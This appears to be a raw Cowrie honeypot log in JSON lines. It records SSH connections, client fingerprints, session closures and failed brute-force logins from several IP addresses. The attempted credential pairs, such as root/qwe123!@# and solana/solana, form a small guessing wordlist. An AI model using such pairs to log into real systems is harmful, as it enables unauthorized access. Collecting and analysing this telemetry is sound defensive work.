{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32972,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ebac58dd1f1","protocol":"ssh","message":"New connection: 176.65.132.129:32972 (159.203.135.109:22) [session: 8ebac58dd1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:01.387684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:01.393063Z","src_ip":"176.65.132.129","session":"8ebac58dd1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:01.477168Z","src_ip":"176.65.132.129","session":"8ebac58dd1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:01.740412Z","src_ip":"176.65.132.129","session":"8ebac58dd1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:02.023944Z","src_ip":"45.132.125.41","session":"cb761ef22327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:02.827969Z","src_ip":"176.65.132.129","session":"8ebac58dd1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":56344,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa993c4f8e2e","protocol":"ssh","message":"New connection: 122.166.167.154:56344 (159.203.135.109:22) [session: aa993c4f8e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:04.323339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:04.328389Z","src_ip":"122.166.167.154","session":"aa993c4f8e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:04.595281Z","src_ip":"122.166.167.154","session":"aa993c4f8e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"2287d22b7a0d","protocol":"ssh","message":"New connection: 176.65.132.129:32992 (159.203.135.109:22) [session: 2287d22b7a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:04.628343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:04.634174Z","src_ip":"176.65.132.129","session":"2287d22b7a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:04.717498Z","src_ip":"176.65.132.129","session":"2287d22b7a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:05.117509Z","src_ip":"176.65.132.129","session":"2287d22b7a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orca","message":"login attempt [root/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:05.690141Z","src_ip":"122.166.167.154","session":"aa993c4f8e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:06.203097Z","src_ip":"176.65.132.129","session":"2287d22b7a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:06.959719Z","src_ip":"122.166.167.154","session":"aa993c4f8e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.38466477394104,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:07.449049Z","src_ip":"152.42.224.71","session":"c12b23a46c74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53740,"dst_ip":"159.203.135.109","dst_port":22,"session":"74cb9b219c1b","protocol":"ssh","message":"New connection: 176.65.132.129:53740 (159.203.135.109:22) [session: 74cb9b219c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:07.985948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:07.991143Z","src_ip":"176.65.132.129","session":"74cb9b219c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.073976Z","src_ip":"176.65.132.129","session":"74cb9b219c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.320032Z","src_ip":"176.65.132.129","session":"74cb9b219c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":50416,"dst_ip":"159.203.135.109","dst_port":22,"session":"817ddadcd109","protocol":"ssh","message":"New connection: 82.152.132.24:50416 (159.203.135.109:22) [session: 817ddadcd109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.538350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.543610Z","src_ip":"82.152.132.24","session":"817ddadcd109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.670163Z","src_ip":"82.152.132.24","session":"817ddadcd109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":33362,"dst_ip":"159.203.135.109","dst_port":22,"session":"d12e098c6ff1","protocol":"ssh","message":"New connection: 62.54.176.203:33362 (159.203.135.109:22) [session: d12e098c6ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.875589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:08.883856Z","src_ip":"62.54.176.203","session":"d12e098c6ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.041982Z","src_ip":"62.54.176.203","session":"d12e098c6ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveur","message":"login attempt [root/serveur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.207014Z","src_ip":"82.152.132.24","session":"817ddadcd109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.404465Z","src_ip":"176.65.132.129","session":"74cb9b219c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56442,"dst_ip":"10.17.0.5","dst_port":22,"session":"7467c54b27aa","protocol":"ssh","message":"New connection: 80.94.92.184:56442 (10.17.0.5:22) [session: 7467c54b27aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.470052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.476524Z","src_ip":"80.94.92.184","session":"7467c54b27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.556580Z","src_ip":"62.54.176.203","session":"d12e098c6ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:09.579230Z","src_ip":"80.94.92.184","session":"7467c54b27aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:10.144385Z","src_ip":"80.94.92.184","session":"7467c54b27aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:10.336132Z","src_ip":"82.152.132.24","session":"817ddadcd109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:10.659923Z","src_ip":"62.54.176.203","session":"d12e098c6ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53760,"dst_ip":"159.203.135.109","dst_port":22,"session":"953fe34b74d8","protocol":"ssh","message":"New connection: 176.65.132.129:53760 (159.203.135.109:22) [session: 953fe34b74d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:11.313372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:11.317446Z","src_ip":"176.65.132.129","session":"953fe34b74d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:11.382529Z","src_ip":"80.94.92.184","session":"7467c54b27aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:11.398793Z","src_ip":"176.65.132.129","session":"953fe34b74d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:11.808944Z","src_ip":"176.65.132.129","session":"953fe34b74d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:12.894430Z","src_ip":"176.65.132.129","session":"953fe34b74d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":35430,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffff0860fce5","protocol":"ssh","message":"New connection: 45.162.8.14:35430 (10.17.0.5:22) [session: ffff0860fce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:13.762504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:13.768278Z","src_ip":"45.162.8.14","session":"ffff0860fce5","protocol":"ssh"}
